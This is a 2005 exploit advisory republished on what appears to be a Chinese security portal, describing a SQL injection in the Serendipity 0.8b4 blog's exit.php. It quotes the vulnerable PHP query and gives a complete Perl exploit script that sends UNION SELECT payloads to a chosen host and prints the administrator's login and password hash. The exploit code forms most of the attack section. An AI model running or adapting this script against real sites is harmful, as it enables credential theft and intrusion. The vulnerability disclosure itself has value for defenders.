首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Serendipity exit.php SQL Injection
来源:http://adz.void.ru 作者:kre0n 发布时间:2005-04-19  

Serendipity exit.php SQL Injection

Summary
"Serendipity is a weblog/blog system, implemented with PHP. It is standards compliant, feature rich and open source (BSD License)". The following exploit reveals login and password hash stored by the Serendipity system.

Credit:
The information has been provided by kreon.

Details
Vulnerable Systems:
* Serendipity version 0.8b4.

Its possible to inject malicious SQL code into $_GET['url_id'] and $_GET['entry_id'] fields. Sending such maliciously crafted request may reveal an account login/passwd hash.

Vulnerable Code:
$links = serendipity_db_query("SELECT link FROM
{$serendipity['dbPrefix']}references WHERE id = {$_GET['url_id']} AND
entry_id = {$_GET['entry_id']}", true);
//.......
// no checks here...
//.......
if (is_array($links) && isset($links['link'])) {
// URL is valid. Track it.
$url = $links['link'];
}
//......
if (serendipity_isResponseClean($url)) {
header('HTTP/1.0 301 Moved Permanently');
header('Location: ' . $url);
}

Exploit:
#!/usr/bin/perl
# Serendipity 0.8beta4 exit.php SQL Injection exploit
# (c) ADZ Security Team 2004-2005
# (c) kreon 2005
# http://adz.void.ru/
# kre0n@mail.ru
# Public :)

print "\n\n";
print "# Serendipity 0.8beta4 exit.php SQL Injection exploit\n";
print "# (C) ADZ Security Team 2004-2005\n";
print "# (C) kreon 2005\n";

use IO::Socket;
use Getopt::Std;

getopt("h:d:p:t:");

$opt_p ||= 80;
$opt_d ||= "/";
$opt_t ||= "serendipity_";

if(!$opt_h) {
die("# Usage: $0 -h <host> [-d <dir>] [-p <port>] [-t table_prefix]\n");
}

$sqlpass = "?entry_id=1&url_id=1%20UNION%20SELECT%20password
%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
$sqllogin = "?entry_id=1&url_id=1%20UNION%20SELECT%20username
%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";

print "# Host: $opt_h\n";
print "# Dir: $opt_d\n";
print "# Port: $opt_p\n";
print "# Prefix: $opt_t\n";

$Q1 = "GET ".$opt_d."/exit.php".$sqllogin." HTTP/1.0\n";
$Q1 .= "Host: ".$opt_h."\n\n";

$Q2 = "GET ".$opt_d."/exit.php".$sqlpass." HTTP/1.0\n";
$Q2 .= "Host: ".$opt_h."\n\n";

$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
$login = $1;
}

$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
$pass = $1;
}
if(!$login || !$pass || $login =~ m/http:\/\//i || $pass =~ m/http:\/\//i) {
print "# Failed :(\n";
exit;
}

print "# Succeed :)\n";
print "# Login: $login\n";
print "# Pass Hash: $pass\n";
print "\n";



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows IP Validatio
·Explorer.exe WMF Parsing DoS
·Mozilla Suite and Firefox favi
·sphpblog多个输入验证漏洞
·Mozilla Firefox Sidebar Code E
·PostgreSQL 8.x PL/PgSQL Remote
·Sendmail <= 8.12.9 remote e
·PMSoftware Simple Web Server R
·Sumus v0.2.2 httpd Component R
·Microsoft Exchange Server Remo
·Multiple Debuggers Security By
·UBB Threads printthread.php Re
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved